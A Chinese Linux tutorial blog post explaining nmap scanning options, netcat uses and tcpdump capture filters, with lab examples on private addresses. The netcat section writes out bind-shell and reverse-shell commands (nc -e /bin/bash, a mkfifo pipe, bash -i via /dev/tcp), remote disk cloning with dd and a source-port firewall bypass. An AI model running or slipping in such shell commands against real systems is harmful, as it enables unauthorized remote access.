nmap ncat tcpdump浅析

nmap 的使用

nmap — 网络探测工具和安全/端口扫描器

Usage:nmap [ <扫描类型> …] [ <选项> ] { <扫描目标说明> }

扫描目标说明

  • -iL inputfilename (从列表中输入)

从 inputfilename中读取目标说明

[root@localhost ~]# nmap 192.168.27.128-132
[root@localhost ~]# nmap -iL nmap.txt
[root@localhost ~]# echo '192.168.27.128-132' | nmap -iL -
  • -iR <hostnum> (随机选择目标)

hostnum 选项告诉 Nmap生成多少个公网IP,选项0代表无休止的扫描。

  • –exclude <host1[,host2][,host3],…> (排除主机/网络)

[root@localhost ~]# nmap -iL nmap.txt --exclude 192.168.27.130,192.168.27.132
  • –excludefile <excludefile> (排除文件中的列表)

[root@localhost ~]# nmap -iL nmap.txt --excludefile exclude.txt

主机发现

  • -sL (列表扫描)

列表扫描是主机发现的退化形式,它仅仅列出指定网络上的每台主机, 不发送任何报文到目标主机

  • -sP (Ping扫描)

该选项告诉Nmap仅仅进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些主机。

  • -P0 (无ping)

该选项完全跳过Nmap发现阶段。通常Nmap在进行高强度的扫描时用它确定正在运行的机器。

  • -PS [portlist] (TCP SYN Ping)

  • -PA [portlist] (TCP ACK Ping)

  • -PU [portlist] (UDP Ping)

以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000)

端口扫描基础

Nmap所识别的6个端口状态

  • open(开放的)

  • closed(关闭的)

  • filtered(被过滤的)

  • unfiltered(未被过滤的)

  • open|filtered(开放或者被过滤的)

  • closed|filtered(关闭或者被过滤的)

端口扫描

  • -sS (tcp syn scan) 默认的扫描方式

  • -sT (tcp connect scan) 默认的tcp扫描发式

  • -sU (udp scan)

  • -sO (ip protocol san) 确定目标机支持哪些ip协议

  • -O | -A 探测目标主机的操作系统

  • -sV 扫描端口服务的版本

  • -p 只扫描指定端口

netcat

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

  • 端口扫描

[root@node1 ~]# nc -z -v -n 10.211.55.24 1-100
nc: connect to 10.211.55.24 port 1 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 2 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 3 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 4 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 5 (tcp) failed: Connection refused
...
默认运行tcp扫描,-u参数调整udp
-z 连接成功后立马退出
-v 详细内容输出
-n 不进行反查
  • chat server

server
nc -l -v -p 1567
client
nc 10.211.55.24 1567
  • 文件传输

server
nc -l 1567 < file.txt
client
nc -n 10.211.55.24 1567 > file.txt
server端作为文件源,无论哪个客户端访问都会发送文件,反之...

server
nc -l 1567 > file.txt
client
nc -n 10.211.55.24 1567 < file.txt
server作为文件存放地,任何客户端都可以发送文件到服务端
  • 目录传送

文件传送很简单,如果我们需要传送目录,我们需要先打包压缩,接受后再解压。

server
tar -czvf - dir_name | nc -l 1567
client 
nc -n 10.211.55.24 1567 | tar -xzvf -
  • 克隆一个设备

server
dd if=/dev/sda | nc -l 1567
client
nc -n 10.211.55.24 1567 | dd of=/dev/sda
  • 打开一个shell

假设netcat支持-c -e选项
server
nc -l 1567 [-e | -c] /bin/bash 
client
nc -n 10.211.55.24 1567
客户端只要连接端口,就可以远程操作shell
假设netcat不支持-c -e选项
server
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
client
nc -n 10.211.55.24 1567
会得到一个shell的提示符在客户端
  • 反向shell

server 端监听一个端口
nc -l 1567client 发送一个shell
nc 10.211.55.24 1567 -e /bin/bash
服务端获得client的shell

linux本身也可以发送shell
bash -i >& /dev/tcp/10.211.55.24/1567 0>&1
服务端可以得到shell的提示符
  • 指定源地址和源端口

假设防火墙过滤了大多数端口,我们可以指定源端口
server
nc -l 1567
client
nc -n 10.211.55.35 -p 25

假设有多个地址,指定地址与外部通信
服务端
nc -u -l 1567 < file.txt
客户端
nc -u 10.211.55.24 -s 10.211.55.35 > file.txt

tcpdump

tcpdump抓包命令,tcpdump是一个用于截取网络分组,并输出分组内容的工具。tcpdump凭借强大的功能和灵活的截取策略,使其成为类UNIX系统下用于网络分析和问题排查的首选工具。

概述

tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。

#tcpdump -vv
不带参数的tcpdump会收集网络中所有的信息包头,数量巨大,必须过滤。

[opotion]

  • -A: 以ascii格式打印出所有分组,并将链路层的头最小化

  • -c: 在收集到指定数量的分组后,tcpdump就会停止

  • -D: 打印出系统中所有可以用tcpdump截取包的网络接口

  • -e: 在输出行打印出数据链路层的头部信息

  • -i: 指定监听的网络接口

  • -b: 在数据链路层选择协议,包括arp、rarp,ipx

  • -n: 不把网络地址装换成名字

  • -nn:不进行端口名称的转换

  • -t: 在输出的每一行不打印时间戳

  • -P: 不把接口设置成混杂模式

  • -q:快速输出,只输出较少的协议信息

  • -r:从指定的文件中读取包(一般通过-w选项产生)

  • -w:写入到文件中,一般以.pcap结尾

  • -v:输出稍微详细的信息

  • -vv:输出详细的报文信息

tcpdump的表达式

  1. 第一种是关于类型的关键字:主要包括host,net,port。

  2. 第二种是确定chuan传输方向的关键字:主要包括src,dst,dst or src,dst and src。

  3. 第三种是协议的关键字:主要包括fddi,ip,arp,icmp,tcp,udp等

输出结果介绍

  • 数据链路层的信息

tcpdump -e host 10.211.55.
21:50:12.847509 eth0 < 8:0:20:79:5b:46 0:90:27:58:af:1a ip 60: h219.33357 > ICE. telne t 0:0(0) ack 22535 win 8760 (DF)
可以得到数据链路层mac地址的通信过程
  • icmp包的tcpdump输出信息

[root@localhost ~]#tcpdump icmp 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
08:16:17.876094 IP node1 > 10.211.55.24: ICMP echo request, id 10800, seq 1, length 64
08:16:17.876125 IP 10.211.55.24 > node1: ICMP echo reply, id 10800, seq 1, length 64
  • tcp包的输出信息

src > dst: flags data-seqno ack window urgent options
src > dst:表明从源地址到目的地址, flags是TCP报文中的标志信息,S 是SYN标志, F (FIN), P (PUSH) ,  R (RST) "." (没有标记); data-seqno是报文中的数据 的顺序号, ack是下次期望的顺序号, window是接收缓存的窗口大小, urgent表明 报文中是否有紧急指针。 Options是选项。
  • udp包的输出信息

oute.port1 > ICE.port2: udp lenth
UDP十分简单,上面的输出行表明从主机route的port1端口发出的一个UDP报文 到主机ICE的port2端口,类型是UDP, 包的长度是lenth。

举例

  • (1) 想要截获所有210.27.48.1 的主机收到的和发出的所有的分组:

#tcpdump host 210.27.48.1
  • (2) 想要截获主机源地址210.27.48.1 和主机210.27.48.2或210.27.48.3的通信,使用命令(注意:括号前的反斜杠是必须的):

#tcpdump src host 210.27.48.1 and dst \( 210.27.48.2 or 210.27.48.3 \)
  • (3) 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包

#tcpdump ip host 210.27.48.1 and ! 210.27.48.2
  • (4) 如果想要获取主机192.168.228.246接收或发出的ssh包,并且不转换主机名使用

#tcpdump -nn -n  host 192.168.228.246 and port 22 and tcp
  • (5) 获取主机192.168.228.246接收或发出的ssh包,并把mac地址也一同显示

# tcpdump -e src host 192.168.228.246 and port 22 and tcp -n -nn
  • (6) 过滤源主机物理地址为XXX的报头:

tcpdump ether src 00:50:04:BA:9B

tcpdump命令格式

tcpdump [-nn] [-i 接口] [-w 储存档名] [-c 次数] [-Ae]  [-qX] [-r 文件] [所欲捕获的数据内容]

-X,可以列出十六进制 (hex) 以及 ASCII 的数据包内容,对于监听数据包内容很有用。

原创文章,作者:N25_随心,如若转载,请注明出处:http://www.178linux.com/67897

(0)
N25_随心N25_随心
上一篇 2017-03-15
下一篇 2017-03-15

相关推荐

  • Nginx+Keepalived实现站点高可用

    Nginx+Keepalived实现站点高可用 vrrp 虚拟路由冗余协议(Virtual Router Redundancy Protocol,简称VRRP)是由IETF提出的解决局域网中配置静态网关出现单点失效现象的路由协议,1998年已推出正式的RFC2338协议标准。VRRP广泛应用在边缘网络中,它的设计目标是支持特定情况下IP数据流量失败转移不会引…

    Linux干货 2016-11-07
  • 学习宣言

    别人笑我太疯癫,我笑他人看不穿。不见五陵豪杰墓,无花无酒锄作田。

    Linux干货 2016-10-24
  • Mariadb数据库备份恢复系列(一):mysqldump逻辑备份工具实战

    实验一:利用mysqldump+二进制日志实现备份恢复数据库 1、查看原始数据 2、mysqldump执行备份 3、模拟在备份后修改数据,模拟利用二进制日志还原的场景 4、还原mysqldump备份的数据 5、导出二进制日志的事件 6、还原二进制日志事件   

    Linux干货 2016-11-24
  • 在学习的过程中,我们应该如何获取帮助?

    正文 在学习的过程当中,我们总是遇到不会使用的问题,以各种姿势来获取帮助是一个运维人员的基本要求 在Linux系统中我们获取帮助主要有以下几种方式 1. 使用命令内建的选项来获取帮助 2. 使用man来查看命令使用手册 3. 使用info来查看命令的信息页 4. 查看软件自带的帮助文档 5. 查看软件官方的文档 6. 查看发行版本的文档 7. Google相…

    Linux干货 2016-03-04
  • Linux发展史

    Linux系统的发展史           内容摘要:            Linux操作系统的诞生       &n…

    Linux干货 2016-10-18
  • FHS文件系统各目录功能

    前言 FHS将文件根据不同的用途和特性分成了可共享的(shareable)和不可共享的(unshareable),可变的(variable)和静态的(static)。不同的文件位于不同的目录里面,将目录分开了将有利于对文件的管理。 文件系统 可共享的 文件可以被存储于某一个主机上,然后供其他主机使用。如果想访问其他主机上可共享的文件,可以将其他主机目录挂载到…

    Linux干货 2016-10-17

评论列表(1条)

  • 马哥教育
    马哥教育 2017-03-30 14:09

    很棒的归纳总结,加油。